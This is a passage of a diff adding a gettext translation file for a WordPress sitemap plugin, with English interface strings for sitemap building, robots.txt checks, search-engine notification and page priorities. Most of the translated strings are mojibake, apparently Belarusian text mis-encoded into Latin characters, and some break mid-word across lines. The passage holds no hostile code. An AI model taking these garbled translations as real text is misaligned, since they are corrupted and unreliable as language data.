+ÐŸÐŽÐœÐ° <a href=\"%s\">Ð·ÐœÐŸÑÐºÑ Ð¿Ð°Ð±ÑÐŽÐ°Ð²Ð°ÑÑ ÐºÐ°ÑÑÑ ÑÐ°Ð¹ÑÐ°</a> ÑÑÑÑÐœÑÑ."
+
+# C:\Inetpub\wwwroot\wp\wp-content\plugins\sitemap_beta/sitemap.php:3027
+#, php-format
+msgid "If you encounter any problems with the build process you can use the <a href=\"%d\">debug function</a> to get more information."
+msgstr "ÐÐ°Ð»Ñ ÐÑ ÑÐ°Ð¿Ñ
+ÐœÑÐ»ÑÑÑ Ð· ÑÐºÑÑ-ÐœÐµÐ±ÑÐŽÐ·Ñ Ð¿ÑÐ°Ð±Ð»ÐµÐŒÐ°ÐŒÑ Ñ Ð¿ÑÐ°ÑÑÑÐµ Ð¿Ð°Ð±ÑÐŽÐŸÐ²Ñ, ÐÑ ÐŒÐŸÐ¶Ð°ÑÐµ ÑÐºÐ°ÑÑÑÑÐ°ÑÑÐ° <a href=\"%d\">ÑÑÐœÐºÑÑÑÐ¹ Ð°ÐŽÐ»Ð°ÐŽÐºÑ</a> ÐŽÐ»Ñ Ð°ÑÑÑÐŒÐ°ÐœÐœÑ ÐŽÐ°ÐŽÐ°ÑÐºÐŸÐ²Ð°Ð¹ ÑÐœÑÐ°ÑÐŒÐ°ÑÑÑ."
+
+# C:\Inetpub\wwwroot\wp\wp-content\plugins\sitemap_beta/sitemap.php:3040
+msgid "Basic Options"
+msgstr "ÐÐ°Ð·Ð°Ð²ÑÑ Ð¿Ð°ÑÐ°ÐŒÐµÑÑÑ"
+
+# C:\Inetpub\wwwroot\wp\wp-content\plugins\sitemap_beta/sitemap.php:3044
+msgid "Sitemap files:"
+msgstr "Ð€Ð°Ð¹Ð»Ñ ÐºÐ°ÑÑÑ ÑÐ°Ð¹ÑÐ°:"
+
+# C:\Inetpub\wwwroot\wp\wp-content\plugins\sitemap_beta/sitemap.php:3044
+# C:\Inetpub\wwwroot\wp\wp-content\plugins\sitemap_beta/sitemap.php:3059
+# C:\Inetpub\wwwroot\wp\wp-content\plugins\sitemap_beta/sitemap.php:3079
+# C:\Inetpub\wwwroot\wp\wp-content\plugins\sitemap_beta/sitemap.php:3104
+# C:\Inetpub\wwwroot\wp\wp-content\plugins\sitemap_beta/sitemap.php:3121
+msgid "Learn more"
+msgstr "ÐÐ°ÑÑÑÐ°ÑÑ ÑÑÑÑ"
+
+# C:\Inetpub\wwwroot\wp\wp-content\plugins\sitemap_beta/sitemap.php:3049
+msgid "Write a normal XML file (your filename)"
+msgstr "ÐÐ°Ð¿ÑÑÐ°ÑÑ Ð·Ð²ÑÑÐ°Ð¹ÐœÑ XML ÑÐ°Ð¹Ð» (ÐÐ°ÑÐ° ÑÐŒÑ ÑÐ°Ð¹Ð»Ð°)"
+
+# C:\Inetpub\wwwroot\wp\wp-content\plugins\sitemap_beta/sitemap.php:3055
+msgid "Write a gzipped file (your filename + .gz)"
+msgstr "ÐÐ°Ð¿ÑÑÐ°ÑÑ Ð·Ð°Ð¿Ð°ÐºÐ°Ð²Ð°ÐœÑ XML ÑÐ°Ð¹Ð» (ÐÐ°ÑÐ° ÑÐŒÑ ÑÐ°Ð¹Ð»Ð° + .gz)"
+
+# C:\Inetpub\wwwroot\wp\wp-content\plugins\sitemap_beta/sitemap.php:3059
+msgid "Building mode:"
+msgstr "Ð ÑÐ¶ÑÐŒ Ð¿Ð°Ð±ÑÐŽÐŸÐ²Ñ ÐºÐ°ÑÑÑ:"
+
+# C:\Inetpub\wwwroot\wp\wp-content\plugins\sitemap_beta/sitemap.php:3064
+msgid "Rebuild sitemap if you change the content of your blog"
+msgstr "ÐÐ°Ð±ÑÐŽÑÐ¹ÑÐµ Ð·ÐœÐŸÑÐºÑ ÐºÐ°ÑÑÑ ÑÐ°Ð¹ÑÐ°, ÐºÐ°Ð»Ñ ÐÑ Ð·ÐŒÑÐœÑÐ»Ñ ÑÑÑÑÐŒÐ°ÐœÐœÐµ ÐÐ°ÑÐ°Ð³Ð° ÐŽÐ·ÑÐœÐœÑÐºÐ°"
+
+# C:\Inetpub\wwwroot\wp\wp-content\plugins\sitemap_beta/sitemap.php:3071
+msgid "Enable manual sitemap building via GET Request"
+msgstr "ÐÐ°Ð·Ð²ÐŸÐ»ÑÑÑ ÑÑÑÐœÑÑ Ð¿Ð°Ð±ÑÐŽÐŸÐ²Ñ ÐºÐ°ÑÑÑ ÑÐ°Ð¹ÑÐ° Ð· ÐŽÐ°Ð¿Ð°ÐŒÐŸÐ³Ð°Ð¹ Ð·Ð°Ð¿ÑÑÑ GET"
+
+# C:\Inetpub\wwwroot\wp\wp-content\plugins\sitemap_beta/sitemap.php:3075
+msgid "This will allow you to refresh your sitemap if an external tool wrote into the WordPress database without using the WordPress API. Use the following URL to start the process: <a href=\"%1\">%1</a> Please check the logfile above to see if sitemap was successfully built."
+msgstr "ÐÑÑÐ° ÐŽÐ°Ð·Ð²ÐŸÐ»ÑÑÑ ÐÐ°ÐŒ Ð°Ð±ÐœÐ°Ð²ÑÑÑ ÐºÐ°ÑÑÑ ÑÐ°Ð¹ÑÐ°, ÐºÐ°Ð»Ñ Ð·ÐœÐµÑÐœÑÑ Ð¿ÑÑÐ»Ð°ÐŽÐ° Ð±ÑÐŽÐ·Ðµ Ð¿ÑÑÐ°ÑÑ Ñ Ð±Ð°Ð·Ñ WordPress? ÐœÐµ Ð²ÑÐºÐ°ÑÑÑÑÐ°ÑÑÑ WordPress API. ÐÑÐºÐ°ÑÑÑÑÐ°Ð¹ÑÐµ ÐœÐ°ÑÑÑÐ¿ÐœÑ URL ÐŽÐ»Ñ Ð²ÑÐºÐ°ÐœÐ°ÐœÐœÑ Ð¿ÑÐ°ÑÑÑÑ: <a href=\"%1\">%1</a> ÐÐ°Ð³Ð»ÑÐŽÐ·ÑÑÐµ Ð¿ÑÐ°ÑÐ°ÐºÐŸÐ» (Ð³Ð». Ð²ÑÑÑÐ¹) ÐŽÐ»Ñ Ð¿ÑÐ°Ð²ÐµÑÐºÑ, ÑÑ Ð¿Ð°Ð±ÑÐŽÐ°Ð²Ð°ÐœÐ°Ñ ÐºÐ°ÑÑÐ° ÑÐ°Ð¹ÑÐ°."
+
+# C:\Inetpub\wwwroot\wp\wp-content\plugins\sitemap_beta/sitemap.php:3079
+msgid "Update notification:"
+msgstr "ÐÐ±ÐœÐ°Ð²ÑÑÑ Ð°Ð¿Ð°Ð²ÑÑÑÑÐœÐœÐµ:"
+
+# C:\Inetpub\wwwroot\wp\wp-content\plugins\sitemap_beta/sitemap.php:3083
+msgid "Notify Google about updates of your Blog"
+msgstr "ÐÐ¿Ð°Ð²ÑÑÑÑÑÑ Google Ð°Ð± Ð·ÐŒÐµÐœÐ°Ñ
+ Ñ ÐÐ°ÑÑÐŒ ÐŽÐ·ÑÐœÐœÑÐºÑ"
+
+# C:\Inetpub\wwwroot\wp\wp-content\plugins\sitemap_beta/sitemap.php:3084
+#, php-format
+msgid "No registration required, but you can join the <a href=\"%s\">Google Webmaster Tools</a> to check crawling statistics."
+msgstr "Ð ÑÐ³ÑÑÑÑÐ°ÑÑÑ ÐœÐµ Ð¿Ð°ÑÑÐ°Ð±ÑÐµÑÑÐ°, Ð°Ð»Ðµ ÐÑ ÐŒÐŸÐ¶Ð°ÑÐµ ÐŽÐ°Ð»ÑÑÑÑÑÐ° ÐŽÐ° <a href=\"%s\">ÐÑÑÐ»Ð°ÐŽÐ°ÐŒ Ð²ÑÐ±-ÐŒÐ°Ð¹ÑÑÑÐ° Google</a> ÐŽÐ»Ñ Ð¿ÑÐ°Ð³Ð»ÑÐŽÑ ÑÑÐ°ÑÑÑÑÑÐºÑ Ð¿ÐŸÑÑÐºÐ°Ð²ÑÑ
+ ÑÐŸÐ±Ð°ÑÐ°Ñ."
+
+# C:\Inetpub\wwwroot\wp\wp-content\plugins\sitemap_beta/sitemap.php:3088
+msgid "Notify Ask.com about updates of your Blog"
+msgstr "ÐÐ¿Ð°Ð²ÑÑÑÑÑÑ Asc.com Ð°Ð± Ð·ÐŒÐµÐœÐ°Ñ
+ Ñ ÐÐ°ÑÑÐŒ ÐŽÐ·ÑÐœÐœÑÐºÑ"
+
+# C:\Inetpub\wwwroot\wp\wp-content\plugins\sitemap_beta/sitemap.php:3089
+msgid "No registration required."
+msgstr "Ð ÑÐ³ÑÑÑÑÐ°ÑÑÑ ÐœÐµ Ð¿Ð°ÑÑÐ°Ð±ÑÐµÑÑÐ°."
+
+# C:\Inetpub\wwwroot\wp\wp-content\plugins\sitemap_beta/sitemap.php:3093
+msgid "Notify YAHOO about updates of your Blog"
+msgstr "ÐÐ¿Ð°Ð²ÑÑÑÑÑÑ YAHOO Ð°Ð± Ð·ÐŒÐµÐœÐ°Ñ
+ Ñ ÐÐ°ÑÑÐŒ ÐŽÐ·ÑÐœÐœÑÐºÑ"
+
+# C:\Inetpub\wwwroot\wp\wp-content\plugins\sitemap_beta/sitemap.php:3154
+msgid "Your Application ID:"
+msgstr "ÐÐ°Ñ ÑÐŽÑÐœÑÑÑÑÐºÐ°ÑÐ°Ñ Ð¿ÑÑÐºÐ»Ð°ÐŽÐ°ÐœÐœÑ (Application ID):"
+
+# C:\Inetpub\wwwroot\wp\wp-content\plugins\sitemap_beta/sitemap.php:3155
+#, php-format
+msgid "Don't you have such a key? <a href=\"%s1\">Request one here</a>!</a> %s2"
+msgstr "Ð£ ÐÐ°Ñ ÐœÑÐŒÐ° ÑÐ°ÐºÐŸÐ³Ð° ÐºÐ»ÑÑÐ°?? <a href=\"%s1\">ÐÐ°Ð¿ÑÑÐ°ÐµÑÐµ ÑÑÑ</a>!</a> %s2"
+
+# C:\Inetpub\wwwroot\wp\wp-content\plugins\sitemap_beta/sitemap.php:3099
+#, php-format
+msgid "Modify or create %s file in blog root which contains the sitemap location."
+msgstr "ÐÐŒÑÐœÑÑÑ Ð°Ð±ÐŸ ÑÑÐ²Ð°ÑÑÑÑ ÑÐ°Ð¹Ð» %s Ñ ÐŽÐ·ÑÐœÐœÑÐºÑ, ÑÐºÑ ÑÑÑÑÐŒÐŸÑÐ²Ð°Ðµ ÑÐœÑÐ°ÑÐŒÐ°ÑÑÑ Ð°Ð± ÑÐ°Ð·ÐŒÑÑÑÑÐœÐœÑ ÐºÐ°ÑÑÑ ÑÐ°Ð¹ÑÐ°."
+
+# C:\Inetpub\wwwroot\wp\wp-content\plugins\sitemap_beta/sitemap.php:3102
+msgid "File permissions: "
+msgstr "ÐÐ°Ð·Ð²ÐŸÐ»Ñ ÐœÐ° ÐŽÐŸÑÑÑÐ¿ ÐŽÐ° ÑÐ°Ð¹Ð»Ð°Ñ: "
+
+# C:\Inetpub\wwwroot\wp\wp-content\plugins\sitemap_beta/sitemap.php:3107
+msgid "OK, robots.txt is writable."
+msgstr "OK, robots.txt Ð°ÐŽÑÑÐœÐµÐœÑ ÐœÐ° Ð·Ð°Ð¿ÑÑ."
+
+# C:\Inetpub\wwwroot\wp\wp-content\plugins\sitemap_beta/sitemap.php:3109
+msgid "Error, robots.txt is not writable."
+msgstr "ÐÐ°ÐŒÑÐ»ÐºÐ°, robots.txt ÐœÐµ Ð°ÐŽÑÑÐœÐµÐœÑ ÐœÐ° Ð·Ð°Ð¿ÑÑ."
+
+# C:\Inetpub\wwwroot\wp\wp-content\plugins\sitemap_beta/sitemap.php:3113
+msgid "OK, robots.txt doesn't exist but the directory is writable."
+msgstr "OK, robots.txt ÐœÐµ ÑÑÐœÑÐµ, Ð°Ð»Ðµ ÐºÐ°ÑÐ°Ð»ÐŸÐ³ Ð°ÐŽÑÑÐœÐµÐœÑ ÐœÐ° Ð·Ð°Ð¿ÑÑ."
+
+# C:\Inetpub\wwwroot\wp\wp-content\plugins\sitemap_beta/sitemap.php:3115
+msgid "Error, robots.txt doesn't exist and the directory is not writable"
+msgstr "ÐÐ°ÐŒÑÐ»ÐºÐ°, robots.txt ÐœÐµ ÑÑÐœÑÐµ, Ñ ÐºÐ°ÑÐ°Ð»ÐŸÐ³ ÐœÐµ Ð°ÐŽÑÑÐœÐµÐœÑ ÐœÐ° Ð·Ð°Ð¿ÑÑ"
+
+# C:\Inetpub\wwwroot\wp\wp-content\plugins\sitemap_beta/sitemap.php:3121
+msgid "Advanced options:"
+msgstr "ÐÐ°ÑÑÑÐ°ÐœÑÑ Ð¿Ð°ÑÐ°ÐŒÐµÑÑÑ:"
+
+# C:\Inetpub\wwwroot\wp\wp-content\plugins\sitemap_beta/sitemap.php:3124
+msgid "Limit the number of posts in the sitemap:"
+msgstr "ÐÐ±ÐŒÐµÐ¶Ð°Ð²Ð°ÑÑ ÐºÐŸÐ»ÑÐºÐ°ÑÑÑ Ð°ÑÑÑÐºÑÐ»Ð°Ñ Ñ ÐºÐ°ÑÑÐµ ÑÐ°Ð¹ÑÐ°:"
+
+# C:\Inetpub\wwwroot\wp\wp-content\plugins\sitemap_beta/sitemap.php:3124
+msgid "Newer posts will be included first"
+msgstr "ÐÐ°Ð²ÐµÐ¹ÑÑÑ Ð°ÑÑÑÐºÑÐ»Ñ Ð±ÑÐŽÑÑÑ ÑÐºÐ»ÑÑÐ°ÐœÑÑ Ð¿ÐµÑÑÑÐŒÑ"
+
+# C:\Inetpub\wwwroot\wp\wp-content\plugins\sitemap_beta/sitemap.php:3127
+msgid "Try to increase the memory limit to:"
+msgstr "ÐÐ°ÑÐ¿ÑÐ°Ð±Ð°Ð²Ð°ÑÑ Ð¿Ð°Ð²ÑÐ»ÑÑÑÑÑ Ð»ÑÐŒÑÑ Ð¿Ð°ÐŒÑÑÑ ÐŽÐ°:"
+
+# C:\Inetpub\wwwroot\wp\wp-content\plugins\sitemap_beta/sitemap.php:3127
+msgid "e.g. \"4M\", \"16M\""
+msgstr "ÐœÐ°Ð¿ÑÑÐºÐ»Ð°ÐŽ, \"4M\", \"16M\""
+
+# C:\Inetpub\wwwroot\wp\wp-content\plugins\sitemap_beta/sitemap.php:3130
+msgid "Try to increase the execution time limit to:"
+msgstr "ÐÐ°ÑÐ¿ÑÐ°Ð±Ð°Ð²Ð°ÑÑ Ð¿Ð°Ð²ÑÐ»ÑÑÑÑÑ Ð°Ð±ÐŒÐµÐ¶Ð°Ð²Ð°ÐœÐœÐµ ÑÐ°ÑÑ Ð²ÑÐºÐ°ÐœÐ°ÐœÐœÑ ÐŽÐ°:"
+
+# C:\Inetpub\wwwroot\wp\wp-content\plugins\sitemap_beta/sitemap.php:3130
+msgid "in seconds, e.g. \"60\" or \"0\" for unlimited"
+msgstr "Ñ ÑÐµÐºÑÐœÐŽÐ°Ñ
+, ÐœÐ°Ð¿ÑÑÐºÐ»Ð°ÐŽ, \"60\" Ð°Ð±ÐŸ \"0\" ÐŽÐ»Ñ ÐœÐµÐ°Ð±ÐŒÐµÐ¶Ð°Ð²Ð°ÐœÐ°Ð³Ð° ÑÐ°ÑÑ"
+
+# C:\Inetpub\wwwroot\wp\wp-content\plugins\sitemap_beta/sitemap.php:3133
+msgid "Include a XSLT stylesheet:"
+msgstr "Ð£ÐºÐ»ÑÑÑÑÑ ÑÐ°Ð±Ð»ÑÑÑ ÑÑÑÐ»ÑÑ XSLT:"
+
+# C:\Inetpub\wwwroot\wp\wp-content\plugins\sitemap_beta/sitemap.php:3133
+msgid "Use Default"
+msgstr "ÐÑÐºÐ°ÑÑÑÑÐ°ÑÑ Ð·ÐœÐ°ÑÑÐœÐœÐµ Ð¿Ð° Ð·ÐŒÐ°ÑÑÐ°ÐœÐœÑ"
+
+# C:\Inetpub\wwwroot\wp\wp-content\plugins\sitemap_beta/sitemap.php:3133
+msgid "Full or relative URL to your .xsl file"
+msgstr "ÐÐŸÑÐœÑ Ð°Ð±ÐŸ Ð°ÐŽÐœÐŸÑÐœÑ URL ÐŽÐ° ÐÐ°ÑÐ°Ð³Ð° ÑÐ°Ð¹Ð»Ð° .xsl"
+
+# C:\Inetpub\wwwroot\wp\wp-content\plugins\sitemap_beta/sitemap.php:3152
+msgid "Enable MySQL standard mode. Use this only if you're getting MySQL errors. (Needs much more memory!)"
+msgstr "ÐÐ°Ð·Ð²ÐŸÐ»ÑÑÑ ÑÑÐ°ÐœÐŽÐ°ÑÑÐœÑ ÑÑÐ¶ÑÐŒ MySQL. ÐÑÐºÐ°ÑÑÑÑÐ°ÑÑ ÑÐŸÐ»ÑÐºÑ Ñ Ð²ÑÐ¿Ð°ÐŽÐºÑ Ð¿Ð°ÐŒÑÐ»Ð°Ðº MySQL. (ÐÐ°ÑÑÐ°Ð±ÑÐµ ÐœÐ°ÑÐŒÐ°Ñ Ð±ÐŸÐ»ÑÑ Ð¿Ð°ÐŒÑÑÑ!)"
+
+# C:\Inetpub\wwwroot\wp\wp-content\plugins\sitemap_beta/sitemap.php:3166
+msgid "Build the sitemap in a background process (You don't have to wait when you save a post)"
+msgstr "ÐÑÐŽÐ°Ð²Ð°ÑÑ ÐºÐ°ÑÑÑ ÑÐ°Ð¹ÑÐ° Ñ ÑÐŸÐœÐ°Ð²ÑÐŒ Ð¿ÑÐ°ÑÑÑÐµ (ÐÐ°ÐŒ ÐœÐµ ÑÑÑÐ±Ð° ÑÐ°ÐºÐ°ÑÑ Ð·Ð°Ñ
+Ð°Ð²Ð°ÐœÐœÑ Ð°ÑÑÑÐºÑÐ»Ð°)"
+
+# C:\Inetpub\wwwroot\wp\wp-content\plugins\sitemap_beta/sitemap.php:3206
+msgid "Exclude the following posts or pages:"
+msgstr "ÐÑÐºÐ»ÑÑÑÑÑ ÐœÐ°ÑÑÑÐ¿ÐœÑÑ Ð°ÑÑÑÐºÑÐ»Ñ Ð°Ð±ÐŸ ÑÑÐ°ÑÐŸÐœÐºÑ:"
+
+# C:\Inetpub\wwwroot\wp\wp-content\plugins\sitemap_beta/sitemap.php:3206
+msgid "List of IDs, separated by comma"
+msgstr "Ð¡Ð¿ÑÑ ÑÐŽÑÐœÑÑÑÑÐºÐ°ÑÐ°ÑÐ°Ñ (ID), Ð¿Ð°ÐŽÐ·ÐµÐ»ÐµÐœÑÑ
+ ÐºÐŸÑÐºÐ°ÐŒÑ"
+
+# C:\Inetpub\wwwroot\wp\wp-content\plugins\sitemap_beta/sitemap.php:3144
+msgid "Additional pages"
+msgstr "ÐÐ°ÐŽÐ°ÑÐºÐŸÐ²ÑÑ ÑÑÐ°ÑÐŸÐœÐºÑ"
+
+# C:\Inetpub\wwwroot\wp\wp-content\plugins\sitemap_beta/sitemap.php:3149
+msgid "Here you can specify files or URLs which should be included in the sitemap, but do not belong to your Blog/WordPress.<br />For example, if your domain is www.foo.com and your blog is located on www.foo.com/blog you might want to include your homepage at www.foo.com"
+msgstr "Ð¢ÑÑ ÐÑ ÐŒÐŸÐ¶Ð°ÑÐµ Ð¿Ð°ÐºÐ°Ð·Ð°ÑÑ ÑÐ°Ð¹Ð»Ñ Ð°Ð±ÐŸ URL, ÑÐºÑÑ Ð¿Ð°Ð²ÑÐœÐœÑ Ð±ÑÑÑ ÑÐºÐ»ÑÑÐ°ÐœÑÑ Ñ ÐºÐ°ÑÑÑ ÑÐ°Ð¹ÑÐ°, Ð°Ð»Ðµ ÐœÐµ Ð¿ÑÑÐœÐ°Ð»ÐµÐ¶ÐœÑÑ ÐÐ°ÑÐ°ÐŒÑ ÐŽÐ·ÑÐœÐœÑÐºÑ/WordPress.<br />ÐÐ°Ð¿ÑÑÐºÐ»Ð°ÐŽ,ÐºÐ°Ð»Ñ ÐÐ°Ñ ÐŽÐ°ÐŒÐµÐœ www.foo.com, Ð° ÐÐ°Ñ ÐŽÐ·ÑÐœÐœÑÐº ÑÐ°Ð·ÐŒÐµÑÑÐ°ÐœÑ Ñ www.foo.com/blog, ÐÐ°ÐŒ ÐŒÐŸÐ¶Ð° ÑÐ¿Ð°ÑÑÑÐ±ÑÑÑÐ° ÐŽÐ°ÐŽÐ°ÑÑ Ñ
+Ð°ÑÐœÑÑ ÑÑÐ°ÑÐŸÐœÐºÑ Ð· www.foo.com"
+
+# C:\Inetpub\wwwroot\wp\wp-content\plugins\sitemap_beta/sitemap.php:3151
+# C:\Inetpub\wwwroot\wp\wp-content\plugins\sitemap_beta/sitemap.php:3462
+msgid "Note"
+msgstr "ÐÐ°ÑÐ²Ð°Ð³Ð°"
+
+# C:\Inetpub\wwwroot\wp\wp-content\plugins\sitemap_beta/sitemap.php:3152
+msgid "If your blog is in a subdirectory and you want to add pages which are NOT in the blog directory or beneath, you MUST place your sitemap file in the root directory (Look at the &quot;Location of your sitemap file&quot; section on this page)!"
+msgstr "ÐÐ°Ð»Ñ ÐÐ°Ñ ÐŽÐ·ÑÐœÐœÑÐº ÑÐ°Ð·ÐŒÐµÑÑÐ°ÐœÑ Ñ Ð¿Ð°ÐŽÐºÐ°ÑÐ°Ð»ÐŸÐ³Ñ, Ñ ÐÑ Ð¶Ð°ÐŽÐ°ÐµÑÐµ ÐŽÐ°ÐŽÐ°ÑÑ ÑÑÐ°ÑÐŸÐœÐºÑ, ÑÐºÑÑ Ð·ÐœÐ°Ñ
+ÐŸÐŽÐ·ÑÑÑÐ° ÐÐ«ÐšÐ­Ð Ñ ÑÑÑÑÐºÑÑÑÑ ÐºÐ°ÑÐ°Ð»ÐŸÐ³Ð°Ñ, ÐÐ°ÐŒ ÐÐÐÐÐ¥ÐÐÐÐ Ð·ÐŒÑÑÑÑÑÑ ÐºÐ°ÑÑÑ ÑÐ°Ð¹ÑÐ° Ñ ÐºÐ°ÑÐ°ÐœÑÐ²Ñ ÐºÐ°ÑÐ°Ð»ÐŸÐ³ (ÐÐ». ÑÐµÐºÑÑÑ &quot;Ð Ð°Ð·ÐŒÑÑÑÑÐœÐœÐµ ÑÐ°Ð¹Ð»Ð° Ð· ÐºÐ°ÑÑÐ°Ð¹ ÑÐ°Ð¹ÑÐ°&quot; ÐœÐ° Ð³ÑÑÐ°Ð¹ ÑÑÐ°ÑÐŸÐœÑÑ)!"
+
+# C:\Inetpub\wwwroot\wp\wp-content\plugins\sitemap_beta/sitemap.php:3154
+# C:\Inetpub\wwwroot\wp\wp-content\plugins\sitemap_beta/sitemap.php:3300
+msgid "URL to the page"
+msgstr "URL ÑÑÐ°ÑÐŸÐœÐºÑ"
+
+# C:\Inetpub\wwwroot\wp\wp-content\plugins\sitemap_beta/sitemap.php:3155
+msgid "Enter the URL to the page. Examples: http://www.foo.com/index.html or www.foo.com/home "
+msgstr "Ð£Ð²ÑÐŽÐ·ÑÑÐµ URL Ð³ÑÑÐ°Ð¹ ÑÑÐ°ÑÐŸÐœÐºÑ. ÐÑÑÐºÐ»Ð°ÐŽÑ: http://www.foo.com/index.html Ð°Ð±ÐŸ www.foo.com/home "
+
+# C:\Inetpub\wwwroot\wp\wp-content\plugins\sitemap_beta/sitemap.php:3157
+# C:\Inetpub\wwwroot\wp\wp-content\plugins\sitemap_beta/sitemap.php:3301
+msgid "Priority"
+msgstr "ÐÑÑÑÑÑÑÑÑ"
+
+# C:\Inetpub\wwwroot\wp\wp-content\plugins\sitemap_beta/sitemap.php:3158
+msgid "Choose the priority of the page relative to the other pages. For example, your homepage might have a higher priority than your imprint."
+msgstr "ÐÑÐ»ÑÑÑÑÐµ Ð¿ÑÑÑÑÑÑÑÑ Ð³ÑÑÐ°Ð¹ ÑÑÐ°ÑÐŸÐœÐºÑ Ð°ÐŽÐœÐŸÑÐœÐ° ÑÐœÑÑÑ
+ ÑÑÐ°ÑÐŸÐœÐ°Ðº. ÐÐ°Ð¿ÑÑÐºÐ»Ð°ÐŽ, ÐÐ°ÑÐ° Ð³Ð°Ð»ÐŸÑÐœÐ°Ñ ÑÑÐ°ÑÐŸÐœÐºÐ° ÐŒÐŸÐ¶Ð° ÐŒÐµÑÑ Ð±ÐŸÐ»ÑÑ Ð²ÑÑÐŸÐºÑ Ð¿ÑÑÑÑÑÑÑÑ, ÑÑÐŒ ÑÑÐ°ÑÐŸÐœÐºÐ° Ð· ÑÐœÑÐ°ÑÐŒÐ°ÑÑÑÐ¹ Ð°Ð± ÑÐ°Ð¹ÑÐµ."
+
+# C:\Inetpub\wwwroot\wp\wp-content\plugins\sitemap_beta/sitemap.php:3160
+# C:\Inetpub\wwwroot\wp\wp-content\plugins\sitemap_beta/sitemap.php:3303
+msgid "Last Changed"
+msgstr "ÐÐ¿ÐŸÑÐœÑ ÑÐ°Ð· Ð·ÐŒÑÐœÑÐ»Ð°ÑÑ"
+
+# C:\Inetpub\wwwroot\wp\wp-content\plugins\sitemap_beta/sitemap.php:3161
+msgid "Enter the date of the last change as YYYY-MM-DD (2005-12-31 for example) (optional)."
+msgstr "Ð£Ð²ÑÐŽÐ·ÑÑÐµ ÐŽÐ°ÑÑ Ð°Ð¿ÐŸÑÐœÑÐ¹ Ð·ÐŒÐµÐœÑ Ñ ÑÐ°ÑÐŒÐ°ÑÐµ YYYY-MM-DD (2005-12-31, ÐœÐ°Ð¿ÑÑÐºÐ»Ð°ÐŽ) (ÐœÐµ Ð°Ð±Ð°Ð²ÑÐ·ÐºÐŸÐ²Ð°)."
+
+# C:\Inetpub\wwwroot\wp\wp-content\plugins\sitemap_beta/sitemap.php:3302
+msgid "Change Frequency"
+msgstr "Ð§Ð°ÑÑÐ°ÑÐ° Ð·ÐŒÐµÐœ"
+
+# C:\Inetpub\wwwroot\wp\wp-content\plugins\sitemap_beta/sitemap.php:3304
+msgid "#"
+msgstr "â"
+
+# C:\Inetpub\wwwroot\wp\wp-content\plugins\sitemap_beta/sitemap.php:3309
+msgid "No pages defined."
+msgstr "ÐÑÐŒÐ° ÑÑÐ°ÑÐŸÐœÐ°Ðº."
+
+# C:\Inetpub\wwwroot\wp\wp-content\plugins\sitemap_beta/sitemap.php:3314
+msgid "Add new page"
+msgstr "ÐÐ°ÐŽÐ°ÑÑ ÐœÐŸÐ²ÑÑ ÑÑÐ°ÑÐŸÐœÐºÑ"
+
+# C:\Inetpub\wwwroot\wp\wp-content\plugins\sitemap_beta/sitemap.php:3325
+msgid "Post Priority"
+msgstr "ÐÑÑÑÑÑÑÑÑ Ð°ÑÑÑÐºÑÐ»Ð°"
+
+# C:\Inetpub\wwwroot\wp\wp-content\plugins\sitemap_beta/sitemap.php:3329
+msgid "Please select how the priority of each post should be calculated:"
+msgstr "ÐÑÐ»ÑÑÑÑÐµ, ÑÐº Ð±ÑÐŽÐ·Ðµ Ð²ÑÐ»ÑÑÐ°ÑÑÐ° Ð¿ÑÑÑÑÑÑÑÑ ÐºÐŸÐ¶ÐœÐ°Ð³Ð° Ð°ÑÑÑÐºÑÐ»Ð°:"
+
+# C:\Inetpub\wwwroot\wp\wp-content\plugins\sitemap_beta/sitemap.php:3331
+msgid "Do not use automatic priority calculation"
+msgstr "ÐÐµ Ð²ÑÐºÐ°ÑÑÑÑÐ°ÑÑ Ð°ÑÑÐ°ÐŒÐ°ÑÑÑÐœÐ°Ðµ Ð²ÑÐ»ÑÑÑÐœÐœÐµ Ð¿ÑÑÑÑÑÑÑÑÑ"
+
+# C:\Inetpub\wwwroot\wp\wp-content\plugins\sitemap_beta/sitemap.php:3331
+msgid "All posts will have the same priority which is defined in &quot;Priorities&quot;"
+msgstr "Ð£ÑÐµ Ð°ÑÑÑÐºÑÐ»Ñ Ð±ÑÐŽÑÑÑ ÐŒÐµÑÑ Ð°ÐŽÐœÐŸÐ»ÑÐºÐ°Ð²Ñ Ð¿ÑÑÑÑÑÑÑÑ, ÑÐºÑ Ð²ÑÐ·ÐœÐ°ÑÐ°ÐœÑ Ñ &quot;ÐÑÑÑÑÑÑÑÑÐ°Ñ
+&quot;"
+
+# C:\Inetpub\wwwroot\wp\wp-content\plugins\sitemap_beta/sitemap.php:3348
+msgid "Location of your sitemap file"
+msgstr "Ð Ð°Ð·ÐŒÑÑÑÑÐœÐœÐµ ÐÐ°ÑÐ°Ð³Ð° ÑÐ°Ð¹Ð»Ð° Ð· ÐºÐ°ÑÑÐ°Ð¹ ÑÐ°Ð¹ÑÐ°"
+
+# C:\Inetpub\wwwroot\wp\wp-content\plugins\sitemap_beta/sitemap.php:3353
+msgid "Automatic detection"
+msgstr "ÐÑÑÐ°ÐŒÐ°ÑÑÑÐœÐ°Ðµ Ð°Ð·ÐœÐ°ÑÑÐœÐœÐµ"
+
+# C:\Inetpub\wwwroot\wp\wp-content\plugins\sitemap_beta/sitemap.php:3357
+msgid "Filename of the sitemap file"
+msgstr "ÐÐŒÑ ÑÐ°Ð¹Ð»Ð° Ð· ÐºÐ°ÑÑÐ°Ð¹ ÑÐ°Ð¹ÑÐ°"
+
+# C:\Inetpub\wwwroot\wp\wp-content\plugins\sitemap_beta/sitemap.php:3360
+msgid "Detected Path"
+msgstr "ÐÑÑÑÐ»ÐµÐœÑ ÑÐ»ÑÑ
+"
+
+# C:\Inetpub\wwwroot\wp\wp-content\plugins\sitemap_beta/sitemap.php:3360
+msgid "Detected URL"
+msgstr "ÐÑÑÑÐ»ÐµÐœÑ URL"
+
+# C:\Inetpub\wwwroot\wp\wp-content\plugins\sitemap_beta/sitemap.php:3365
+msgid "Custom location"
+msgstr "ÐÐ°ÑÑÑÑÐ°ÑÐºÐ°Ðµ ÑÐ°Ð·ÐŒÑÑÑÑÐœÐœÐµ"
+
+# C:\Inetpub\wwwroot\wp\wp-content\plugins\sitemap_beta/sitemap.php:3369
+msgid "Absolute or relative path to the sitemap file, including name."
+msgstr "ÐÐ±ÑÐ°Ð»ÑÑÐœÑ Ð°Ð±ÐŸ Ð°ÐŽÐœÐŸÑÐœÑ ÑÐ»ÑÑ
